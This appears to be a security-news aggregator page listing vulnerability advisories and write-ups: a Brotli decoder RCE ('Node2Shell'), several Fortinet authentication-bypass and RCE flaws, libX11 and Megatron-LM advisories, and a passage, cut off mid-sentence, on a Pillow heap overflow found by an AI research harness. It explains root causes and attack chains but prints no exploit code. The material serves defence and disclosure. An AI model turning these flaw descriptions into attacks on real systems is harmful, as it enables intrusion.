⚡Megatron LLM Hub
全部
Website

rss-website

头条8

Brotli 1.0.3–1.2.0 广泛嵌入服务端解码链,尚未见到能形成完整防护的策略。

Nov 9, 2026 Node2Shell (CVE-2026-111497): SafeBreach Coverage for the Actively Exploited Brotli RCE Learn how SafeBreach maps CVE-2026-111497 to simulations that test your exposure to Node2Shell’s remote code execution through crafted Brotli-compressed data. Summary What it is: Node2Shell (CVE-2026-111497), also called HTTP2Shell, is an out-of-bounds write in Google’s Brotli decompression library (versions 1.0.3 through 1.2.0) that lets a remote, unauthenticated attacker corrupt memory with a crafted Brotli stream and potentially achieve remote code execution (RCE). Severity and status: Google rates CVE-2026-111497 9.2 Critical under CVSS 4.0. ELLIO recorded Node2Shell exploit traffic in the wild on October 26, 2026, and the Cybersecurity and Infrastructure Security Agency (CISA) added it to the Known Exploited Vulnerabilities (KEV) catalog on October 27, 2026. Who is exposed: Applications that decompress attacker-influenced Brotli data with a vulnerable decoder are at risk, including Node.js 22, 24 and 26, .NET 8, 9 and 10, Bun, Envoy, Istio and Python HTTP clients. How SafeBreach helps: The SafeBreach Exposure Validation Platform includes a new simulation that checks whether your security controls detect or block a crafted Node2Shell Brotli request before it reaches a vulnerable Node.js service, plus existing simulations of generic post-exploitation behavior. Author: Tova Dvorin, Senior Product Marketing Manager What Is Node2Shell? On October 21, 2026, Google and the Node.js project disclosed that the Brotli decoder is vulnerable to an out-of-bounds write that can lead to remote code execution. Tracked as CVE-2026-111497 and nicknamed Node2Shell, the flaw lets a remote, unauthenticated attacker corrupt process memory by getting a vulnerable application to decompress a crafted Brotli stream. Brotli is Google’s compression format and one of the standard ways web servers and clients compress HTTP traffic (Content-Encoding: br). Its C decoder is embedded in language runtimes, proxies, data platforms and industrial software. The Node2Shell bug lives in that decoder (c/dec/decode.c) in Brotli versions 1.0.3 through 1.2.0, a range that ELLIO traces back to the 1.0.3 release in March 2018. The root cause is an unchecked return value (CWE-252) that leads to an out-of-bounds write (CWE-787) . According to the Node.js security release , “an invalid block switch was reported as a temporary need for more input instead of a permanent format error, so the streaming decoder kept appending input bytes to an eight-byte internal buffer.” Past the eighth byte, attacker-supplied data overwrites adjacent decoder memory. The fix makes the decoder stop with a hard format error instead. Exploitation requires no authentication and no user interaction. The one prerequisite is that the target decompresses Brotli data the attacker can influence. In Node.js, that includes request bodies parsed by Express 5 or body-parser 2 when sent with Content-Encoding: br, server-side fetch() responses, and direct node:zlib calls on untrusted input. A bare Node.js HTTP server does not decompress request bodies on its own. Three details set Node2Shell apart: The fix was public long before the advisory. ELLIO reports the fix was written on February 27, 2026, and sat in Brotli’s public source repository with no release and no advisory for eight months. Anyone reading the commit history had a head start. Exploitation is practical, if not one-shot. The Imperva Red Team demonstrated code execution against the official, unmodified Node.js 24.22.0 Linux arm64 image, and ELLIO reproduced shells on default x86-64 builds. Each build needs its own memory offset. It is already in the wild. ELLIO recorded exploit traffic against Node.js 24.22.0 on October 26, 2026, from an IP address previously seen in mass-exploitation campaigns. CISA added CVE-2026-111497 to the KEV catalog the next day, with a November 10, 2026 deadline for US federal agencies. OpenAI Codex Security researchers Khai Tran and Sylvie Mayer reported the flaw to Node.js. It also circulates as HTTP2Shell and Broccoli2Shell. Why Node2Shell Matters When a vulnerability like this drops, the predictable response is to patch Node.js and move on. That response makes sense, but it’s a partial answer, for two reasons. First, Node2Shell is a library flaw before it is a Node.js flaw. The NVD record lists affected configurations across Node.js, .NET, Bun, Envoy, Istio, Python’s brotlicffi, the Go Brotli port, Apache Arrow, ClickHouse, DuckDB, 7-Zip forks, the TianoCore EDK II firmware project and several Siemens Industrial Edge products. Many of these ship their own copy of the decoder, so patching the operating system’s Brotli package does not fix a runtime, container image or compiled binary that bundles its own. Embedded copies are the kind of exposure that lingers for years, much like the decade-old CVEs still being used to breach networks in 2026 . Second, the real risk is what an attacker does once they have a foothold. A realistic attack chain looks like this: An attacker sends a crafted, Brotli-compressed request body to an internet-facing API that decompresses it. ELLIO’s in-the-wild sample was a single 23 MB request. Most attempts crash the worker process. Process managers and container orchestrators restart it automatically, which gives the attacker another try. A successful attempt returns a shell running as the service’s own account, with whatever secrets and cloud credentials that account can reach. From there, the attacker can download tooling, steal tokens, move laterally into the cluster or cloud account, or deploy cryptominers and ransomware. Outbound traffic is exposed too. An application that uses server-side fetch() to retrieve content from a server the attacker controls can receive the malicious payload in the response, and request-filtering stopgaps don’t cover that path. The closest comparison is Log4Shell in 2021. Both are flaws in a ubiquitous library that most teams never chose directly, and both turned “are we patched?” into “where is this thing running?” The question security teams should be asking is no longer “Are we vulnerable to Node2Shell?” Instead, it’s “If an attacker exploits CVE-2026-111497 tomorrow, can our security controls detect and stop them before damage is done?” SafeBreach Coverage for Node2Shell SafeBreach Labs validated and integrated detection for CVE-2026-111497, available in the SafeBreach CTEM Platform . Existing Behavioral Coverage SafeBreach has existing behavioral coverage for what an attacker does after a foothold. These are generic post-exploitation simulations, not Node2Shell-specific content, and they test your controls no matter which vulnerability gave the attacker initial access. They include: Web shell deployment [SIMULATION ID: NOAM TO CONFIRM] Rogue certificate authority (CA) installation [SIMULATION ID: NOAM TO CONFIRM] These simulations are mapped to MITRE ATT&CK and can be used immediately to validate detection and response capabilities across your infrastructure. New Simulation Coverage To address CVE-2026-111497, the SafeBreach Labs team has added one new simulation: #11843: Node2Shell Brotli Decoder Vulnerability CVE-2026-111497 Detection (WAF) , which runs over both HTTP and HTTPS Simulation #11843 is an exposure check rather than an exploit. It confirms whether a crafted Brotli request reaches a vulnerable Node.js service. It is also an Advanced Action, so it is scheduled differently from a standard simulation. Expected behavior: The simulation sends the crafted Brotli request, and the result shows whether your security controls detected or blocked it before it reached the service. It is a detection and exposure outcome, so it does not open a shell or execute code on the target. How to Test Your Defenses Against Node2Shell with SafeBreach SafeBreach customers can now validate their security controls against CVE-2026-111497 in two ways. Whichever you choose, note that simulation #11843 is an Advanced Action, so it is scheduled differently from a standard simulation. Method 1 – SafeBreach Scenarios: Navigate to the SafeBreach Scenarios page and choose the dedicated Node2Shell (CVE-2026-111497) Detection scenario or the broader Node.js October 2026 Security Release – Behavioral + CVE detection scenario. Method 2 — Known Threats Series: Open the Known Threats Series report, select the Node2Shell (CVE-2026-111497) Detection report, and run the simulations. Remediation and Recommendations Patch: Upgrade Node.js to 22.23.4, 24.22.1 or 26.12.1, released October 21, 2026. Node.js 20.x, 23.x and 25.x are end of life and will not receive a fix. Google released Brotli 1.0.10, 1.1.1 and 1.2.1 the same day, and Microsoft shipped .NET 8.0.33, 9.0.22 and 10.0.14 on October 25, 2026. Other fixed releases include Bun 1.4.4, Python Brotli 1.2.1, brotlicffi 1.2.1.0, Envoy 1.36.12, 1.37.8, 1.38.6, 1.39.3 and 1.40.0, and Istio 1.29.9, 1.30.6 and 1.31.2. Rebuild container images and Bun-compiled executables, and rely on vendor advisories for Linux distribution packages, which often backport the fix under older version numbers. Detect: Watch for web-facing worker processes that exit with a segmentation fault (exit code 139) right after receiving Brotli-encoded data, repeated crash-and-restart loops, and processes pinned at 100% CPU inside a decompression call, as Datadog Security Labs describes. The strongest signal is behavioral: a Node.js or other web process spawning a shell, redirecting a network socket to standard input or output, or opening unexpected outbound connections. Log the Content-Encoding header on inbound requests so Brotli-encoded bodies are visible. Mitigate: If you can’t patch immediately, reject request bodies sent with Content-Encoding: br at your reverse proxy, load balancer or web application firewall (WAF). This stopgap does not protect Brotli responses that your applications fetch, and Node.js has published no workaround, so upgrading remains the only complete fix. Uninstall the Python Brotli and brotlicffi packages where they aren’t needed, and disable the Brotli decompressor in Envoy where it is configured. Then use the two methods above to confirm your controls catch Node2Shell requests and the post-exploitation behavior that follows, rather than assuming they do. Stay Ahead with SafeBreach Node2Shell is a reminder that the most dangerous dependencies are often the ones nobody remembers choosing. Patching Node.js is necessary, but it doesn’t answer whether every embedded copy of Brotli is gone, or whether your controls would catch an attacker who got a shell first. SafeBreach customers can use the simulation content above to check today whether their controls detect or block Node2Shell requests and catch what an attacker does next. About the Author Tova Dvorin is currently the Senior Product Marketing Manager at SafeBreach. She has 8 years of Product Marketing experience in the cybersecurity sector, after a previous career as a war journalist. Frequently Asked Questions What is CVE-2026-111497 (Node2Shell)? CVE-2026-111497, nicknamed Node2Shell, is an out-of-bounds write in Google’s Brotli decoder. A crafted Brotli-compressed stream causes the decoder to write past an eight-byte internal buffer, which can crash the process, leak memory or allow remote code execution. Google and the Node.js project disclosed CVE-2026-111497 on October 21, 2026, after OpenAI Codex Security researchers reported it. Is HTTP2Shell the same as Node2Shell? Yes. HTTP2Shell, Node2Shell and Broccoli2Shell are all names for CVE-2026-111497, the out-of-bounds write in Google’s Brotli decoder. Node2Shell was the first name to circulate, and HTTP2Shell and Broccoli2Shell followed as the impact on .NET, Bun, Envoy, Istio and Python HTTP clients became clear. All three names point to the same CVE record and the same fixed versions. Which systems and versions are affected by CVE-2026-111497? CVE-2026-111497 affects Google Brotli 1.0.3 through 1.2.0 and any software that embeds it. Affected platforms include Node.js 22, 24 and 26 before the October 21, 2026 releases, end-of-life Node.js 20, 23 and 25, .NET 8, 9 and 10, Bun before 1.4.4, Envoy, Istio, and Python’s Brotli and brotlicffi packages. Applications are at risk when they decompress attacker-influenced Brotli data. How severe is CVE-2026-111497, and is it being exploited? CVE-2026-111497 is rated 9.2 Critical under CVSS 4.0 by Google and 9.8 Critical under CVSS 3.1 by NVD. A public proof of concept appeared on GitHub on October 22, 2026. ELLIO recorded Node2Shell exploit traffic in the wild on October 26, 2026, and CISA added CVE-2026-111497 to its Known Exploited Vulnerabilities catalog on October 27, 2026. Is there a patch for CVE-2026-111497? Yes. Node.js 22.23.4, 24.22.1 and 26.12.1 and Google Brotli 1.0.10, 1.1.1 and 1.2.1 fix CVE-2026-111497 and were released on October 21, 2026. Microsoft fixed .NET in 8.0.33, 9.0.22 and 10.0.14 on October 25, 2026. Bun 1.4.4, brotlicffi 1.2.1.0 and updated Envoy and Istio releases are also available. Node.js 20, 23 and 25 will not be patched. Is there a workaround for Node2Shell if I can’t patch right away? There is no complete workaround for Node2Shell. The most common stopgap is rejecting request bodies sent with Content-Encoding: br at the reverse proxy, load balancer or web application firewall, but that does not protect Brotli responses an application fetches. Node.js has published no workaround for CVE-2026-111497, so upgrading the runtime remains the only complete fix. How can organizations test their exposure to CVE-2026-111497? Organizations can test their exposure to CVE-2026-111497 by sending a crafted Node2Shell Brotli request through their own defenses and checking whether security controls detect or block it before it reaches the service. In the SafeBreach CTEM Platform , customers can select the Node2Shell (CVE-2026-111497) Detection scenario on the SafeBreach Scenarios page or run the CVE-2026-111497 report in the Known Threat Series. You Might Also Be Interested In Research Blog Live Exploitation for PHP2Shell (CVE-2026-109618, CVE-2026-109619): SafeBreach Coverage for the CISA PHP Alert Read More Solution Brief SafeBreach CTEM Platform Download the CTEM Platform Brief Podcast Videos Beyond CVEs: Why Patching Isn’t Enough to Stop Breaches Listen Now Get the latest research and news

rcecve在野利用 @safebreach-blog 原文 ↗

FGFM 端口暴露即无凭据失守,7.2–8.0 均受影响,属最高危档

PSIRT FGFM elevation before registration password is verified Summary An improper authorization vulnerability in FortiManager FGFM may allow an unauthenticated attacker that can reach the FGFM port to execute code or commands via crafted FGFM packets. Version Affected Solution FortiManager 8.0 8.0.0 Upgrade to 8.0.1 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.5 Upgrade to 7.4.6 or above FortiManager 7.2 7.2.0 through 7.2.8 Upgrade to 7.2.9 or above Acknowledgement Internally discovered and reported by Theo Leleu of Fortinet Product Security team with the use of Frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-275 Published Date Nov 10, 2026 Component GUI Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.0 Impact Execute unauthorized code or commands CVE ID CVE-2026-126261 Download CVRF CSAF

fortimanagerrce未认证cve @forti-ir 原文 ↗

零凭据即可接管邮件账户,7.2 全系仍无修复版本

PSIRT Authorization bypass through user-controlled key Summary An Authorization Bypass Through User-Controlled Key vulnerability [CWE-639] in FortiMail may allow an unauthenticated remote attacker to take over an arbitrary IBE recipient account via crafted HTTP requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-208 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.1 Impact Improper access control CVE ID CVE-2026-126156 Download CVRF CSAF

fortimail越权未认证cve @forti-ir 原文 ↗

无需任何凭据即可利用,暴露在公网的 FortiMail 邮件网关应优先升级到 7.4.9/7.6.7/8.0.2。

PSIRT Improper limitation of a pathname to a restricted directory Summary An Improper limitation of a pathname to a restricted directory ('path traversal') vulnerability [CWE-22] in FortiMail may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Sam Mckee, Theo Leleu of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-199 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.8 Impact Execute unauthorized code or commands CVE ID CVE-2026-126147 Download CVRF CSAF

cverce路径遍历未授权 @forti-ir 原文 ↗

无需凭据即可绕过 sshd 认证,且边界设备暴露面极大,升级优先级最高。

PSIRT Improper neutralization of special elements in output used by a downstream component in sshd Summary A Path Traversal vulnerability [cwe-24] in FortiOS, FortiSASE, FortiProxy and FortiPam ssh daemon may allow an unauthenticated attacker to bypass authentication via specially crafted credentials. Version Affected Solution FortiOS 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiOS 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiOS 7.4 7.4.0 through 7.4.12 Upgrade to 7.4.13 or above FortiOS 7.2 7.2.0 through 7.2.13 Upgrade to 7.2.14 or above FortiPAM 7.0 Not affected Not Applicable FortiPAM 1.9 Not affected Not Applicable FortiPAM 1.8 Not affected Not Applicable FortiPAM 1.7 Not affected Not Applicable FortiPAM 1.6 1.6 all versions Migrate to a fixed release FortiPAM 1.5 1.5 all versions Migrate to a fixed release FortiPAM 1.4 1.4 all versions Migrate to a fixed release FortiPAM 1.3 1.3 all versions Migrate to a fixed release FortiPAM 1.2 1.2 all versions Migrate to a fixed release FortiPAM 1.1 1.1 all versions Migrate to a fixed release FortiPAM 1.0 1.0 all versions Migrate to a fixed release FortiSASE 26.3 26.3.1 Fortinet remediated this issue in 26.3.2 and hence customers do not need to perform any action. FortiSASE 26.3 26.3.1_a Fortinet remediated this issue in 26.3.2 and hence customers do not need to perform any action. FortiSASE 26.2 26.2 all versions Migrate to a fixed release FortiSASE 26.1 26.1 all versions Migrate to a fixed release FortiSASE 25.4 25.4 all versions Migrate to a fixed release FortiSASE 25.3 25.3 all versions Migrate to a fixed release FortiSASE 25.2 25.2 all versions Migrate to a fixed release FortiSASE 25.1.a 25.1.a all versions Migrate to a fixed release FortiSASE 25.1 25.1 all versions Migrate to a fixed release FortiSASE 24.4 Not affected Not Applicable FortiSASE 24.3 Not affected Not Applicable FortiSASE 24.1 Not affected Not Applicable FortiSASE 23.4 Not affected Not Applicable FortiSASE 23.3 Not affected Not Applicable FortiSASE 23.2 Not affected Not Applicable FortiSASE 23.1 Not affected Not Applicable FortiSASE 22.4 Not affected Not Applicable Follow the recommended upgrade path using our tool at: https://docs.fortinet.com/upgrade-tool The product is impacted only if GPC OS Login is enabled. Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-269 Published Date Nov 10, 2026 Component CLI Severity High Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 7.4 CVSSv3 Temporal Score 7.0 Impact Denial of service CVE ID CVE-2026-126255 Download CVRF CSAF

绕过path traversal固件cve @forti-ir 原文 ↗

未认证即可远程执行命令,暴露的 HA 邮件网关直接受影响,官方补丁已发布。

PSIRT Improper neutralization of special elements used in an os command Summary An Improper neutralization of special elements used in a command ('command injection') [CWE-77] in FortiMail may allow an unauthenticated attacker to execute unauthorized code or commands via crafted HA join-request packets. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 Not affected Not Applicable FortiMail 7.2 Not affected Not Applicable Please note that Fortinet has remediated this issue on Oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Theo Leleu of the Fortinet Product Security team with the use of frontier AI models. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-200 Published Date Nov 10, 2026 Component CLI Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.8 Impact Execute unauthorized code or commands CVE ID CVE-2026-126148 Download CVRF CSAF

rce命令注入固件cve @forti-ir 原文 ↗

可读取并代发他人加密邮件,未认证即可利用,7.2 至 8.0.1 分支全受影响。

PSIRT Incorrect authorization Summary An Incorrect Authorization vulnerability [CWE-863] in FortiMail may allow an unauthenticated remote attacker to obtain an authenticated IBE webmail session as any IBE recipient and read or send their encrypted mail via crafted HTTP requests. Version Affected Solution FortiMail 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiMail 7.6 7.6.0 through 7.6.6 Upgrade to 7.6.7 or above FortiMail 7.4 7.4.0 through 7.4.8 Upgrade to 7.4.9 or above FortiMail 7.2 7.2 all versions Migrate to a fixed release Please note that Fortinet has remediated this issue on oct 05, 2026 in FortiMail Cloud by updating all the firmwares to v7.6.7 GA or v8.0.2 GA, hence the FortiMail Cloud customers need not perform any action. Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-207 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.1 Impact Denial of service CVE ID CVE-2026-126155 Download CVRF CSAF

授权绕过cve邮件安全 @forti-ir 原文 ↗

认证基础设施自身被绕过,等同 MFA/SSO 门户失守,8.0.3/6.6.10 及以下需升级。

PSIRT Incorrect authorization Summary An Incorrect Authorization vulnerability [CWE-863] in FortiAuthenticator may allow an attacker to bypass authentication and gain unauthorized access. Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-265 Published Date Nov 10, 2026 Component API Severity Critical Discovered Internal Attack Type Unauthenticated Known Exploited No CVSSv3 Score 9.1 Impact Escalation of privilege CVE ID CVE-2026-126251 Download CVRF CSAF

授权绕过认证cve @forti-ir 原文 ↗
必看28

CVSS 8.8,攻击者只需诱导用户连接恶意 X 服务器即可利用,影响所有 X11 客户端。

X.Org Server libX11 XkbGetMap Reply Heap-based Buffer Overflow Remote Code Execution Vulnerability November 10th, 2026 ZDI-26-906 ZDI-CAN-32061 CVE ID CVE-2026-88806 CVSS Score 8.8 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Affected Vendors X.Org Affected Products Server Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on affected installations of X.Org Server. User interaction is required to exploit this vulnerability in that the target must connect to a malicious X11 server. The specific flaw exists within the XkbReadKeyActions function. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Additional Details X.Org has issued an update to correct this vulnerability. More details can be found at: https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/309 Disclosure Timeline 2026-09-02 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit Adam Bedard Back to Advisories

rcex11cve @zdi-advisories 原文 ↗

训练框架加载检查点即执行代码,AI 训练管线中的模型来源成为攻击面,CVSS 7.8。

NVIDIA Megatron-LM Checkpoint Deserialization of Untrusted Data Remote Code Execution Vulnerability November 10th, 2026 ZDI-26-904 ZDI-CAN-29291 CVE ID CVE-2026-65110 CVSS Score 7.8 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Affected Vendors NVIDIA Affected Products Megatron Vulnerability Details This vulnerability allows remote attackers to execute arbitrary code on affected installations of NVIDIA Megatron-LM. User interaction is required to exploit this vulnerability in that the target must open a malicious file. The specific flaw exists within the parsing of checkpoints. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the current process. Additional Details Fixed in Megatron-LM version 0.17.1 ( https://github.com/NVIDIA/product-security/tree/main/2026/5881 ) Disclosure Timeline 2026-06-02 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit winters0x64 Back to Advisories

ai_agent反序列化rcecve @zdi-advisories 原文 ↗

普通图片上传路径即可触发,凡用 Pillow 做图像解码的服务都需核查。

One Image to Remote Code Execution: The Critical Pillow Zero-Day Our AI Benchmark Found by Accident (CVE-2026-96639) By: Rotem Kama November 10, 2026 Our AI benchmark failed. We tried to calibrate our harness on a known, already-fixed bug inside Pillow, sealed the answer and sent four isolated AI lanes to find it. None did. One found something worse: a flaw nobody had reported, in which a single crafted image corrupts memory and could cause, on an ordinary upload path, a remote code execution on the server. That miss became CVE-2026-96639 , rated Critical 9.8, in a library downloaded roughly half a billion times a month. TL; DR What: A crafted multi-frame image makes Pillow, Python’s default image library, write attacker-controlled pixel data past the end of a heap buffer it allocated for an earlier frame: a heap memory corruption that crashes every affected build we tested and, on a vulnerable application flow, can lead to remote code execution. Four formats are affected: PSD, MPO (multi-picture JPEG), DCX, and MIC. The file extension does not matter; Pillow identifies formats by content. How bad: On a vulnerable code flow, a standard upload handler that walks the frames of an image, a single image upload reaches remote code execution on the server; on the flow we tested it needed no account. We reproduced it end to end; we are not publishing the proof of concept. In our own coding-agent session, the same kind of image did it from inside the workspace, after the agent approved an ordinary conversion command. Pillow rates it Critical, CVSS 9.8 . Who: Anything that decodes untrusted images with Pillow 11.0.0 through 12.3.0 and touches a later frame or layer: upload handlers, OCR and document converters, ML and AI-agent tool sandboxes, SDK fallbacks. Pillow is downloaded roughly half a billion times a month. Fix: Upgrade to Pillow 13.0.0 or later . Watch for frameworks that still pin Pillow below 13 and for Python 3.10 runtimes, which Pillow 13 no longer supports. Until you can upgrade, decode untrusted multi-frame input another way: process the first frame only, or route multi-frame formats through a different decoder. The benchmark that failed, and the zero-day it found At Cymulate Research Labs we are building an agentic research harness around a question our customers have to answer every week: which vulnerabilities deserve their attention, and what would it actually take to turn one that has no public exploit into a working attack? Answering that honestly needs more than a model guessing a number. It needs the knowledge of how an attacker works, step by step, and the ability to try those steps and record what happened. We want an AI harness that can find flaws and reproduce them, and we want its effort estimates to come from those trials. A crash in a native parser is not yet an exploit. A broken authorization check has different barriers. Those differences decide what we investigate, and eventually what we can safely validate for customers. Before we let the harness make that call on anything real, we wanted to watch it work on problems whose answers we already knew. So we ran a series of blind calibrations. Each one hid a known, already-fixed flaw inside a real target, sealed the answer, and measured everything: what the lanes found, how long they took, and how much effort they spent. One of those targets was Pillow, the image library most of the Python world imports. We chose it as the native-decoder case. The harness did not find the bug we planted there. One lane found a different one: a flaw nobody had reported, in which a single crafted image corrupts the process’s memory and, on an ordinary upload path, can run code on the server. That flaw is CVE-2026-96639 , Critical 9.8, fixed in Pillow 13.0.0 and public since October 17. This is the story of a test we failed and the finding it produced, the most consequential one this harness has given us. It covers what the bug is and how far it reaches into the software and AI tools that open images for a living. It covers who has patched and who cannot. And it explains why the way we scored the miss is the reason you can trust the hit. Research at a glance Finding One crafted multi-frame image makes Pillow write past a heap buffer sized for an earlier frame: memory corruption with no account and no user action, across the PSD, MPO, DCX and MIC loaders. The file extension does not matter. Impact A crash on every affected build we tested; remote code execution on a standard frame-walking upload flow; command execution inside four AI tool sandboxes. Severity Critical 9.8 , the advisory’s score and NVD’s. Reached over the network by an ordinary image upload. Status Affected 11.0.0 through 12.3.0. Fixed in 13.0.0. Public since October 17, 2026. Reporter: Rotem Kama, Cymulate Research Labs. Our agentic harness, and how we benchmark it The harness has three parts. Several AI lanes read the target’s code in isolation, each from a different angle, and try to turn a hunch into a reproducible result. A verifier then tries to knock every result down. It demands a clean reproduction, a matched control that removes the suspected cause and nothing else, and a plain statement of what was and was not shown. And a human, in this case our team, chooses the targets, sets the stop rules, and signs every claim. Nothing a lane says counts until the verifier has failed to kill it. A benchmark run adds a scorecard. Did the lanes find the planted bug at all? What else did they find, and could they prove it? How long did it take, how much did it cost in tokens and tool calls, and did the severity the harness claimed survive verification? Those numbers are the training signal for the classifier we are building, the one that should eventually tell us, for a given CVE in a given environment, how far an attacker would have to go. The Pillow run was the third calibration of July 28. The first, a Go control plane, was a miss. The second, a template engine, was a clean hit in 35 minutes, but it said nothing about native code, which was the gap we most needed to close. So for the third we wanted a crafted file reaching C code, a clean vulnerable-versus-fixed pair, and no public trigger to look up. The point was calibration, not discovery. Four lanes ran for forty minutes with no network and no history. Three killed their own hypotheses. The fourth wrote one sentence about a loader where a later frame changes the image’s mode while the storage allocated for the first frame stays attached. Before we opened the sealed answer, the orchestrator, the agent that runs the benchmark and never audits, did what it does with every candidate. It ran the crash again on the build that already carried the planted bug’s fix. Still crashed, so this was not the bug we had planted. It ran it on that day’s Pillow main. Still crashed, so it was live. It applied a one-line change that throws away the stale storage. The crash was gone, so we knew the cause. Then it searched Pillow’s issues and advisories for the same pattern and found nothing. Only then did we open the key, and the orchestrator wrote its verdict: Exact ground-truth discovery: miss (0/4 lanes). Independent verified bug yield: hit (1/4 lanes). Overall calibration verdict: FAIL exact-recall / PASS independent-yield. The known-CVE track therefore fails even though the run found a different real bug. That blind score has not changed since. What changed over the next three months is what “a different real bug” turned out to mean. The miss is what makes the hit credible: the benchmark was designed so that it could not flatter us, and it did not. Why one library bug is an ecosystem event Pillow is the fork of the Python Imaging Library that most of the Python world uses to open images. It is pulled in, often invisibly, by matplotlib, torchvision, Streamlit, imageio, scikit-image, moviepy, Django’s ImageField , document converters, and a long tail of OCR, thumbnail, avatar, and ML preprocessing code. Most developers whose services decode a user’s image never type the word “Pillow”; they call a wrapper that calls Pillow. The scale is hard to overstate. PyPI counted 564 million Pillow downloads in the month before our August snapshot, and in the 90 days before the fix shipped about 83 percent of those downloads went to an affected version. deps.dev lists 89,459 packages that depend on it. Those are download and dependency counts, not a count of vulnerable servers, but they describe a library that is present wherever a Python process touches a picture. Where the bug sits is what makes it travel. Reading an image’s first frame is safe. The bug lives one step later, when code walks the other frames: “all frames”, “every page”, OCR per page, an animated preview. That step is routine in document and media pipelines, and in the Python tools AI agents reach for when a task says “process the export”. And the file does not have to look like a multi-frame image. MPO, one of the affected formats, is a JPEG with a second picture inside, and Pillow recognizes it by content, not by extension. “JPEG only” does not keep it out. The bug: the image changed modes, its memory did not The bug is almost embarrassingly simple to state. Pillow decodes the first frame of a layered or multi-frame file and allocates native storage for it: one byte per pixel for grayscale. A later frame or layer can declare a wider mode, RGB or CMYK, at the same dimensions. The logical mode changes; the storage underneath does not, because Pillow only allocated new storage when there was none. Pillow stores RGB and CMYK pixels in four bytes each, so the decoder then writes four bytes per pixel into memory sized for one. Four loaders share the pattern: PSD, MPO, DCX and MIC. Pillow 13.0.0 fixes all four the same way our control did: when mode or size no longer matches the storage, discard it and allocate again. At that point we thought we had a serious denial-of-service bug. We did not expect the next three weeks. From crash to code execution So we had a crash. A reliable one, in the most-installed image library in Python, reachable by a file. That alone was worth reporting. The question that kept us at it was whether it could go further. Our first impact test suggested only a crash. Opening the image from a filename put the stale storage somewhere the first bad write could not survive, so the process died at once. Bad for an image service; not code execution. A third harness in our stack chased a tempting shortcut in the MPO path and came back empty. Its first sweep was later found to have gaps; after closing them we kept only the narrow conclusion that the shortcut was a dead end. The wider question stayed open. The answer came from how applications actually call Pillow. Web handlers rarely hand Pillow a filename; they hand it the uploaded bytes in memory. On that path the stale storage lives on the ordinary heap, the overflow lands in memory the process is still using, and the bytes that land there are chosen by whoever made the file. Turning that into control is the part of the work this article does not describe, and not because we could not: the fix has not reached most of the install base yet, and the details would help an attacker before they help a defender. The section on what we publish, and what we hold back, says where that line 